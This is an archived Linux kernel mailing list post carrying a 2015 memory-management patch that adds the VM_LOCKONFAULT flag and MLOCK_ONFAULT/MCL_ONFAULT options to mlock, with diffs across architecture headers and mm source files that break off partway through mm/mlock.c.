 	return do_munlock(start, len, VM_LOCKED);
 }
 
+SYSCALL_DEFINE3(munlock2, unsigned long, start, size_t, len, int, flags)
+{
+	if (!flags || flags & ~MLOCK_LOCKED)
+		return -EINVAL;
+	return do_munlock(start, len, VM_LOCKED);
+}
+
 static int do_mlockall(int flags)
 {
 	struct vm_area_struct * vma, * prev = NULL;
@@ -756,6 +771,19 @@ SYSCALL_DEFINE0(munlockall)
 	return ret;
 }
 
+SYSCALL_DEFINE1(munlockall2, int, flags)
+{
+	int ret = -EINVAL;
+
+	if (!flags || flags & ~(MCL_CURRENT | MCL_FUTURE))
+		return ret;
+
+	down_write(&current->mm->mmap_sem);
+	ret = do_munlockall(flags);
+	up_write(&current->mm->mmap_sem);
+	return ret;
+}
+
 /*
  * Objects with different lifetime than processes (SHM_LOCK and SHM_HUGETLB
  * shm segments) get accounted against the user_struct instead.
-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.comp.video.dri.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [PATCH V4 4/6] mm: mlock: Introduce VM_LOCKONFAULT and add mlock flags to enable it
Date: Tue, 21 Jul 2015 15:59:39 -0400
Lines: 895
Approved: news@gmane.org
Message-ID: <1437508781-28655-5-git-send-email-emunson@akamai.com>
References: <1437508781-28655-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1437508815 7715 80.91.229.3 (21 Jul 2015 20:00:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 21 Jul 2015 20:00:15 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	Jonathan Corbet <corbet@lwn.net>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	dri-devel@lists.freedesktop.org,
	linux-mm@kvack.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Tue Jul 21 21:59:52 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZHdhf-0003sP-ET
	for glkm-linux-mm-2@m.gmane.org; Tue, 21 Jul 2015 21:59:51 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id ECAA69003CA; Tue, 21 Jul 2015 15:59:47 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id EA2C19003C7; Tue, 21 Jul 2015 15:59:47 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id D1A9F9003CA; Tue, 21 Jul 2015 15:59:47 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qk0-f179.google.com (mail-qk0-f179.google.com [209.85.220.179])
	by kanga.kvack.org (Postfix) with ESMTP id B22099003C7
	for <linux-mm@kvack.org>; Tue, 21 Jul 2015 15:59:47 -0400 (EDT)
Original-Received: by qkfc129 with SMTP id c129so97601524qkf.1
        for <linux-mm@kvack.org>; Tue, 21 Jul 2015 12:59:47 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=HWOPbBg7Jj/+xmQVvaN09ECaWKYq9oFiruTzaE1xW90=;
        b=MMaE+VS6DnOqy80SpdALpRpKgs+M5pR8AexGmz01LMC43ZQDjX6aS1bxjnlb9OSSlB
         HU6/cT4l/jqeZFgv0e5V9Dc+E8SS+Vo6vp3OGdeKQSYf1adsvTxOU1OUuf6VJ9GUamI3
         gBB4lQxym+v/mY7XP2CY4yFPNRmlgqybWVomlikLa/HNkOiTICb5wnGLVPvVLGzSNjzI
         M2t/vH4tEKvHeRcyz4Elef6T3jDOki8hVWX7RB7P9ch4osTx4v4+hpy3a0tYXpH7LJkm
         K+M22tpgrmqR8e39oFvJmQHu/JNdQXLDziQiBhI/ZkyhbEQkVYDEdK0bvJLE0CMN6PNj
         wnlw==
X-Gm-Message-State: ALoCoQkhUXbjrdm8u2VkdnDkvdu/deY8CL86VIfiSUbKJ1e/3eMgTcUVc+F9nFpbf5iBaxBKbUnnyopEvdxrwzwiV9XO/nuYRZZgUQsUf8Po4iaDTC/ZOLHKhlLRCAZKTqhCELrmbnZD9I1BVyI4JrjjDb0HrU8t+rmkaeWk8rk3YMAGLz8nNwqIUCRj9NDprUQ1MrzzXGja
X-Received: by 10.140.83.84 with SMTP id i78mr58183166qgd.14.1437508787526;
        Tue, 21 Jul 2015 12:59:47 -0700 (PDT)
X-Received: by 10.140.83.84 with SMTP id i78mr58182700qgd.14.1437508783530;
        Tue, 21 Jul 2015 12:59:43 -0700 (PDT)
Original-Received: from prod-mail-xrelay07.akamai.com ([23.79.238.175])
        by mx.google.com with ESMTP id k9si7535028qgk.87.2015.07.21.12.59.42
        for <linux-mm@kvack.org>;
        Tue, 21 Jul 2015 12:59:43 -0700 (PDT)
Received-SPF: softfail (google.com: domain of transitioning emunson@akamai.com does not designate 23.79.238.175 as permitted sender) client-ip=23.79.238.175;
Authentication-Results: mx.google.com;
       spf=softfail (google.com: domain of transitioning emunson@akamai.com does not designate 23.79.238.175 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 44D34478B9;
	Tue, 21 Jul 2015 20:00:22 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id 21E9A478BA;
	Tue, 21 Jul 2015 20:00:22 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1437508822; bh=3fVpjMAz53jcBJ9ZtDvKDV7bYS5fo+3MqvxAL+bNH+0=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=JWvTABNyL9l56d+94gb6faLcLmyfWQvYV8RUdSYNvqSf1pu1xSJcj9L4vPbDat9z6
	 I5rn5W5/1ll1WseDh0WtPMyy4CznDBbkfQkgKdRxQ/JtN5q0FqdzcwDsvnESBZJ+02
	 719NFKoeIaxST9wzQNzX8XOcKglZOWni5MNABo+o=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.12.165])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 5A99C210B;
	Tue, 21 Jul 2015 19:59:42 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1437508781-28655-1-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136036 gmane.linux.ports.alpha:3214 gmane.linux.kernel:2001551 gmane.linux.ports.mips.general:49520 gmane.linux.ports.parisc:25850 gmane.linux.ports.ppc64.devel:115643 gmane.linux.ports.sparc:21255 gmane.comp.video.dri.devel:133185 gmane.linux.kernel.cross-arch:28542 gmane.linux.kernel.api:13006
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136036>

The cost of faulting in all memory to be locked can be very high when
working with large mappings.  If only portions of the mapping will be
used this can incur a high penalty for locking.

For the example of a large file, this is the usage pattern for a large
statical language model (probably applies to other statical or graphical
models as well).  For the security example, any application transacting
in data that cannot be swapped out (credit card data, medical records,
etc).

This patch introduces the ability to request that pages are not
pre-faulted, but are placed on the unevictable LRU when they are finally
faulted in.  This can be done area at a time via the
mlock2(MLOCK_ONFAULT) or the mlockall(MCL_ONFAULT) system calls.  These
calls can be undone via munlock2(MLOCK_ONFAULT) or
munlockall2(MCL_ONFAULT).

Applying the VM_LOCKONFAULT flag to a mapping with pages that are
already present required the addition of a function in gup.c to pin all
pages which are present in an address range.  It borrows heavily from
__mm_populate().

To keep accounting checks out of the page fault path, users are billed
for the entire mapping lock as if MLOCK_LOCKED was used.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Jonathan Corbet <corbet@lwn.net>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: dri-devel@lists.freedesktop.org
Cc: linux-mm@kvack.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org
---
Changes from V3:
Do extensive search for VM_LOCKED and ensure that VM_LOCKONFAULT is also handled
 where appropriate

 arch/alpha/include/uapi/asm/mman.h   |  2 +
 arch/mips/include/uapi/asm/mman.h    |  2 +
 arch/parisc/include/uapi/asm/mman.h  |  2 +
 arch/powerpc/include/uapi/asm/mman.h |  2 +
 arch/sparc/include/uapi/asm/mman.h   |  2 +
 arch/tile/include/uapi/asm/mman.h    |  3 ++
 arch/xtensa/include/uapi/asm/mman.h  |  2 +
 drivers/gpu/drm/drm_vm.c             |  8 ++-
 fs/proc/task_mmu.c                   |  3 +-
 include/linux/mm.h                   |  2 +
 include/uapi/asm-generic/mman.h      |  2 +
 kernel/events/uprobes.c              |  2 +-
 kernel/fork.c                        |  2 +-
 mm/debug.c                           |  1 +
 mm/gup.c                             |  3 +-
 mm/huge_memory.c                     |  3 +-
 mm/hugetlb.c                         |  4 +-
 mm/internal.h                        |  5 +-
 mm/ksm.c                             |  2 +-
 mm/madvise.c                         |  4 +-
 mm/memory.c                          |  5 +-
 mm/mlock.c                           | 98 +++++++++++++++++++++++++-----------
 mm/mmap.c                            | 28 +++++++----
 mm/mremap.c                          |  6 +--
 mm/msync.c                           |  2 +-
 mm/rmap.c                            | 12 ++---
 mm/shmem.c                           |  2 +-
 mm/swap.c                            |  3 +-
 mm/vmscan.c                          |  2 +-
 29 files changed, 145 insertions(+), 69 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index ec72436..77ae8db 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -37,8 +37,10 @@
 
 #define MCL_CURRENT	 8192		/* lock all currently mapped pages */
 #define MCL_FUTURE	16384		/* lock all additions to address space */
+#define MCL_ONFAULT	32768		/* lock all pages that are faulted in */
 
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index 67c1cdf..71ed81d 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -61,11 +61,13 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 /*
  * Flags for mlock
  */
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index daab994..c0871ce 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -31,8 +31,10 @@
 
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL     0               /* no further special treatment */
 #define MADV_RANDOM     1               /* expect random page references */
diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
index 189e85f..f93f7eb 100644
--- a/arch/powerpc/include/uapi/asm/mman.h
+++ b/arch/powerpc/include/uapi/asm/mman.h
@@ -22,8 +22,10 @@
 
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
+#define MCL_ONFAULT	0x8000		/* lock all pages that are faulted in */
 
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
index 13d51be..8cd2ebc 100644
--- a/arch/sparc/include/uapi/asm/mman.h
+++ b/arch/sparc/include/uapi/asm/mman.h
@@ -17,8 +17,10 @@
 
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
+#define MCL_ONFAULT	0x8000		/* lock all pages that are faulted in */
 
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi/asm/mman.h
index f69ce48..acdd013 100644
--- a/arch/tile/include/uapi/asm/mman.h
+++ b/arch/tile/include/uapi/asm/mman.h
@@ -36,11 +36,14 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
+
 
 /*
  * Flags for mlock
  */
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 
 #endif /* _ASM_TILE_MMAN_H */
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 11f354f..5725a15 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -74,11 +74,13 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 /*
  * Flags for mlock
  */
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/drivers/gpu/drm/drm_vm.c b/drivers/gpu/drm/drm_vm.c
index aab49ee..dfbcfc2 100644
--- a/drivers/gpu/drm/drm_vm.c
+++ b/drivers/gpu/drm/drm_vm.c
@@ -699,9 +699,15 @@ int drm_vma_info(struct seq_file *m, void *data)
 		   (void *)(unsigned long)virt_to_phys(high_memory));
 
 	list_for_each_entry(pt, &dev->vmalist, head) {
+		char lock_flag = '-';
+
 		vma = pt->vma;
 		if (!vma)
 			continue;
+		if (vma->vm_flags & VM_LOCKED)
+			lock_flag = 'l';
+		else if (vma->vm_flags & VM_LOCKONFAULT)
+			lock_flag = 'f';
 		seq_printf(m,
 			   "\n%5d 0x%pK-0x%pK %c%c%c%c%c%c 0x%08lx000",
 			   pt->pid,
@@ -710,7 +716,7 @@ int drm_vma_info(struct seq_file *m, void *data)
 			   vma->vm_flags & VM_WRITE ? 'w' : '-',
 			   vma->vm_flags & VM_EXEC ? 'x' : '-',
 			   vma->vm_flags & VM_MAYSHARE ? 's' : 'p',
-			   vma->vm_flags & VM_LOCKED ? 'l' : '-',
+			   lock_flag,
 			   vma->vm_flags & VM_IO ? 'i' : '-',
 			   vma->vm_pgoff);
 
diff --git a/fs/proc/task_mmu.c b/fs/proc/task_mmu.c
index ca1e091..2c435a7 100644
--- a/fs/proc/task_mmu.c
+++ b/fs/proc/task_mmu.c
@@ -579,6 +579,7 @@ static void show_smap_vma_flags(struct seq_file *m, struct vm_area_struct *vma)
 #ifdef CONFIG_X86_INTEL_MPX
 		[ilog2(VM_MPX)]		= "mp",
 #endif
+		[ilog2(VM_LOCKONFAULT)]	= "lf",
 		[ilog2(VM_LOCKED)]	= "lo",
 		[ilog2(VM_IO)]		= "io",
 		[ilog2(VM_SEQ_READ)]	= "sr",
@@ -654,7 +655,7 @@ static int show_smap(struct seq_file *m, void *v, int is_pid)
 		   mss.swap >> 10,
 		   vma_kernel_pagesize(vma) >> 10,
 		   vma_mmu_pagesize(vma) >> 10,
-		   (vma->vm_flags & VM_LOCKED) ?
+		   (vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT)) ?
 			(unsigned long)(mss.pss >> (10 + PSS_SHIFT)) : 0);
 
 	show_smap_vma_flags(m, vma);
diff --git a/include/linux/mm.h b/include/linux/mm.h
index 2e872f9..e78544f 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -127,6 +127,7 @@ extern unsigned int kobjsize(const void *objp);
 #define VM_PFNMAP	0x00000400	/* Page-ranges managed without "struct page", just pure PFN */
 #define VM_DENYWRITE	0x00000800	/* ETXTBSY on write attempts.. */
 
+#define VM_LOCKONFAULT	0x00001000	/* Lock the pages covered when they are faulted in */
 #define VM_LOCKED	0x00002000
 #define VM_IO           0x00004000	/* Memory mapped I/O or similar */
 
@@ -1865,6 +1866,7 @@ static inline void mm_populate(unsigned long addr, unsigned long len)
 	/* Ignore errors */
 	(void) __mm_populate(addr, len, 1);
 }
+extern int mm_lock_present(unsigned long addr, unsigned long start);
 #else
 static inline void mm_populate(unsigned long addr, unsigned long len) {}
 #endif
diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
index 242436b..555aab0 100644
--- a/include/uapi/asm-generic/mman.h
+++ b/include/uapi/asm-generic/mman.h
@@ -17,7 +17,9 @@
 
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 #endif /* __ASM_GENERIC_MMAN_H */
diff --git a/kernel/events/uprobes.c b/kernel/events/uprobes.c
index cb346f2..882c9f6 100644
--- a/kernel/events/uprobes.c
+++ b/kernel/events/uprobes.c
@@ -201,7 +201,7 @@ static int __replace_page(struct vm_area_struct *vma, unsigned long addr,
 		try_to_free_swap(page);
 	pte_unmap_unlock(ptep, ptl);
 
-	if (vma->vm_flags & VM_LOCKED)
+	if (vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT))
 		munlock_vma_page(page);
 	put_page(page);
 
diff --git a/kernel/fork.c b/kernel/fork.c
index dbd9b8d..a949228 100644
--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -454,7 +454,7 @@ static int dup_mmap(struct mm_struct *mm, struct mm_struct *oldmm)
 		tmp->vm_mm = mm;
 		if (anon_vma_fork(tmp, mpnt))
 			goto fail_nomem_anon_vma_fork;
-		tmp->vm_flags &= ~VM_LOCKED;
+		tmp->vm_flags &= ~(VM_LOCKED | VM_LOCKONFAULT);
 		tmp->vm_next = tmp->vm_prev = NULL;
 		file = tmp->vm_file;
 		if (file) {
diff --git a/mm/debug.c b/mm/debug.c
index 76089dd..25176bb 100644
--- a/mm/debug.c
+++ b/mm/debug.c
@@ -121,6 +121,7 @@ static const struct trace_print_flags vmaflags_names[] = {
 	{VM_GROWSDOWN,			"growsdown"	},
 	{VM_PFNMAP,			"pfnmap"	},
 	{VM_DENYWRITE,			"denywrite"	},
+	{VM_LOCKONFAULT,		"lockonfault"	},
 	{VM_LOCKED,			"locked"	},
 	{VM_IO,				"io"		},
 	{VM_SEQ_READ,			"seqread"	},
diff --git a/mm/gup.c b/mm/gup.c
index 233ef17..097a22a 100644
--- a/mm/gup.c
+++ b/mm/gup.c
@@ -92,7 +92,8 @@ retry:
 		 */
 		mark_page_accessed(page);
 	}
-	if ((flags & FOLL_POPULATE) && (vma->vm_flags & VM_LOCKED)) {
+	if ((flags & FOLL_POPULATE) &&
+	    (vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT))) {
 		/*
 		 * The preliminary mapping check is mainly to avoid the
 		 * pointless overhead of lock_page on the ZERO_PAGE
diff --git a/mm/huge_memory.c b/mm/huge_memory.c
index c107094..7985e35 100644
--- a/mm/huge_memory.c
+++ b/mm/huge_memory.c
@@ -1238,7 +1238,8 @@ struct page *follow_trans_huge_pmd(struct vm_area_struct *vma,
 					  pmd, _pmd,  1))
 			update_mmu_cache_pmd(vma, addr, pmd);
 	}
-	if ((flags & FOLL_POPULATE) && (vma->vm_flags & VM_LOCKED)) {
+	if ((flags & FOLL_POPULATE) &&
+	    (vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT))) {
 		if (page->mapping && trylock_page(page)) {
 			lru_add_drain();
 			if (page->mapping)
diff --git a/mm/hugetlb.c b/mm/hugetlb.c
index a8c3087..82caa48 100644
--- a/mm/hugetlb.c
+++ b/mm/hugetlb.c
@@ -3764,8 +3764,8 @@ static unsigned long page_table_shareable(struct vm_area_struct *svma,
 	unsigned long s_end = sbase + PUD_SIZE;
 
 	/* Allow segments to share if only one is marked locked */
-	unsigned long vm_flags = vma->vm_flags & ~VM_LOCKED;
-	unsigned long svm_flags = svma->vm_flags & ~VM_LOCKED;
+	unsigned long vm_flags = vma->vm_flags & ~(VM_LOCKED | VM_LOCKONFAULT);
+	unsigned long svm_flags = svma->vm_flags & ~(VM_LOCKED | VM_LOCKONFAULT);
 
 	/*
 	 * match the virtual addresses, permission and the alignment of the
diff --git a/mm/internal.h b/mm/internal.h
index 36b23f1..53e140e 100644
--- a/mm/internal.h
+++ b/mm/internal.h
@@ -246,10 +246,11 @@ void __vma_link_list(struct mm_struct *mm, struct vm_area_struct *vma,
 extern long populate_vma_page_range(struct vm_area_struct *vma,
 		unsigned long start, unsigned long end, int *nonblocking);
 extern void munlock_vma_pages_range(struct vm_area_struct *vma,
-			unsigned long start, unsigned long end);
+			unsigned long start, unsigned long end, vm_flags_t to_drop);
 static inline void munlock_vma_pages_all(struct vm_area_struct *vma)
 {
-	munlock_vma_pages_range(vma, vma->vm_start, vma->vm_end);
+	munlock_vma_pages_range(vma, vma->vm_start, vma->vm_end,
+				VM_LOCKED | VM_LOCKONFAULT);
 }
 
 /*
diff --git a/mm/ksm.c b/mm/ksm.c
index 7ee101e..5d91b7d 100644
--- a/mm/ksm.c
+++ b/mm/ksm.c
@@ -1058,7 +1058,7 @@ static int try_to_merge_one_page(struct vm_area_struct *vma,
 			err = replace_page(vma, page, kpage, orig_pte);
 	}
 
-	if ((vma->vm_flags & VM_LOCKED) && kpage && !err) {
+	if ((vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT)) && kpage && !err) {
 		munlock_vma_page(page);
 		if (!PageMlocked(kpage)) {
 			unlock_page(page);
diff --git a/mm/madvise.c b/mm/madvise.c
index 64bb8a2..c9d9296 100644
--- a/mm/madvise.c
+++ b/mm/madvise.c
@@ -279,7 +279,7 @@ static long madvise_dontneed(struct vm_area_struct *vma,
 			     unsigned long start, unsigned long end)
 {
 	*prev = vma;
-	if (vma->vm_flags & (VM_LOCKED|VM_HUGETLB|VM_PFNMAP))
+	if (vma->vm_flags & (VM_LOCKED|VM_LOCKONFAULT|VM_HUGETLB|VM_PFNMAP))
 		return -EINVAL;
 
 	zap_page_range(vma, start, end - start, NULL);
@@ -300,7 +300,7 @@ static long madvise_remove(struct vm_area_struct *vma,
 
 	*prev = NULL;	/* tell sys_madvise we drop mmap_sem */
 
-	if (vma->vm_flags & (VM_LOCKED | VM_HUGETLB))
+	if (vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT | VM_HUGETLB))
 		return -EINVAL;
 
 	f = vma->vm_file;
diff --git a/mm/memory.c b/mm/memory.c
index 388dcf9..2b19e0b 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -2165,7 +2165,7 @@ static int wp_page_copy(struct mm_struct *mm, struct vm_area_struct *vma,
 		 * Don't let another task, with possibly unlocked vma,
 		 * keep the mlocked page.
 		 */
-		if (page_copied && (vma->vm_flags & VM_LOCKED)) {
+		if (page_copied && (vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT))) {
 			lock_page(old_page);	/* LRU manipulation */
 			munlock_vma_page(old_page);
 			unlock_page(old_page);
@@ -2577,7 +2577,8 @@ static int do_swap_page(struct mm_struct *mm, struct vm_area_struct *vma,
 	}
 
 	swap_free(entry);
-	if (vm_swap_full() || (vma->vm_flags & VM_LOCKED) || PageMlocked(page))
+	if (vm_swap_full() || (vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT)) ||
+	    PageMlocked(page))
 		try_to_free_swap(page);
 	unlock_page(page);
 	if (page != swapcache) {
diff --git a/mm/mlock.c b/mm/mlock.c
index d6e61d6..8b45be1 100644
--- a/mm/mlock.c
+++ b/mm/mlock.c
@@ -406,23 +406,22 @@ static unsigned long __munlock_pagevec_fill(struct pagevec *pvec,
  * @vma - vma containing range to be munlock()ed.
  * @start - start address in @vma of the range
  * @end - end of range in @vma.
+ * @to_drop - the VMA flags we want to drop from the specified range
  *
- *  For mremap(), munmap() and exit().
+ *  For mremap(), munmap(), munlock(), and exit().
  *
- * Called with @vma VM_LOCKED.
- *
- * Returns with VM_LOCKED cleared.  Callers must be prepared to
+ * Returns with specified flags cleared.  Callers must be prepared to
  * deal with this.
  *
- * We don't save and restore VM_LOCKED here because pages are
+ * We don't save and restore specified flags here because pages are
  * still on lru.  In unmap path, pages might be scanned by reclaim
  * and re-mlocked by try_to_{munlock|unmap} before we unmap and
  * free them.  This will result in freeing mlocked pages.
  */
-void munlock_vma_pages_range(struct vm_area_struct *vma,
-			     unsigned long start, unsigned long end)
+void munlock_vma_pages_range(struct vm_area_struct *vma, unsigned long start,
+			     unsigned long end, vm_flags_t to_drop)
 {
-	vma->vm_flags &= ~VM_LOCKED;
+	vma->vm_flags &= ~to_drop;
 
 	while (start < end) {
 		struct page *page = NULL;
@@ -502,11 +501,12 @@ static int mlock_fixup(struct vm_area_struct *vma, struct vm_area_struct **prev,
 	pgoff_t pgoff;
 	int nr_pages;
 	int ret = 0;
-	int lock = !!(newflags & VM_LOCKED);
+	int lock = !!(newflags & (VM_LOCKED | VM_LOCKONFAULT));
 
 	if (newflags == vma->vm_flags || (vma->vm_flags & VM_SPECIAL) ||
 	    is_vm_hugetlb_page(vma) || vma == get_gate_vma(current->mm))
-		goto out;	/* don't set VM_LOCKED,  don't count */
+		/* don't set VM_LOCKED or VM_LOCKONFAULT and don't count */
+		goto out;
 
 	pgoff = vma->vm_pgoff + ((start - vma->vm_start) >> PAGE_SHIFT);
 	*prev = vma_merge(mm, *prev, start, end, newflags, vma->anon_vma,
@@ -546,7 +546,11 @@ success:
 	if (lock)
 		vma->vm_flags = newflags;
 	else
-		munlock_vma_pages_range(vma, start, end);
+		/*
+		 * We need to tell which VM_LOCK* flag(s) we are clearing here
+		 */
+		munlock_vma_pages_range(vma, start, end,
+					(vma->vm_flags & ~(newflags)));
 
 out:
 	*prev = vma;
@@ -581,10 +585,12 @@ static int apply_vma_flags(unsigned long start, size_t len,
 		/* Here we know that  vma->vm_start <= nstart < vma->vm_end. */
 
 		newflags = vma->vm_flags;
-		if (add_flags)
+		if (add_flags) {
+			newflags &= ~(VM_LOCKED | VM_LOCKONFAULT);
 			newflags |= flags;
-		else
+		} else {
 			newflags &= ~flags;
+		}
 
 		tmp = vma->vm_end;
 		if (tmp > end)
